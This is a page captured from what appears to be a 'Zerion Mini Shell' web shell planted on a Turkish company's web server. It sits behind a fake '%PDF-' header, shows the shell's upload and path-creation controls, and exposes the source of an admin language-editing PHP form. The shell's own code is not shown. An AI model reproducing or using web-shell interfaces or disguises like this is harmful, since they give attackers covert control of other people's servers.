%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/
Upload File :
Create Path :
Current File : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/langs.php

<?php
    @session_start();
    @ob_start();
    define('PATH','../');
    define('LANG',$_SESSION['LANG']);

    include '../includes/functions.php';
    include '../includes/db.php';
    include '../includes/config.php';
    
    $id = intval("0".$_GET['id']);
    $content = getTable('langs',"WHERE id='$id'"); 
    if(!$content) die();
?>
<div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
    <h4 class="modal-title">Dil Düzenle</h4>
</div>
<form class="form-horizontal" role="form" method="post" novalidate="novalidate" action="?s=languages">
    <div class="modal-body">

        <?php if($content) : echo '<input type="hidden" name="id" value="'.$content['id'].'" />'; $parent = $content['parent']; endif; ?>
        <div class="form-body">
            <div class="form-group">
                <label class="col-md-4 control-label">İsim</label>
                <div class="col-md-8">
                    <input type="text" placeholder="İsim giriniz" class="form-control" name="f[name]" id="name" value="<?php echo $content['name']; ?>" data-required="1">
                </div>
            </div>  
            <div class="form-group">
                <label class="col-md-4 control-label">Durumu</label>
                <div class="col-md-8">
                    <input type="checkbox" data-off-label="Pasif" data-on-label="Aktif" value="1" class="make-switch" name="f[status]" <?php if($content['status']==1) echo 'checked="checked"';?>>
                </div>
            </div>
            <div class="form-group">
                <label class="col-md-4 control-label">Sıra</label>
                <div class="col-md-8">
                    <input type="text" class="form-control input-small" name="f[row]" value="<?php echo $content['row']; ?>">
                </div>
            </div> 
        </div>
    </div>
    <div class="modal-footer">
        <input type="hidden" name="action" value="save" />
        <button type="button" class="btn default" data-dismiss="modal">Kapat</button>
        <button type="submit" class="btn blue">Kaydet</button>
    </div>
</form>

Zerion Mini Shell 1.0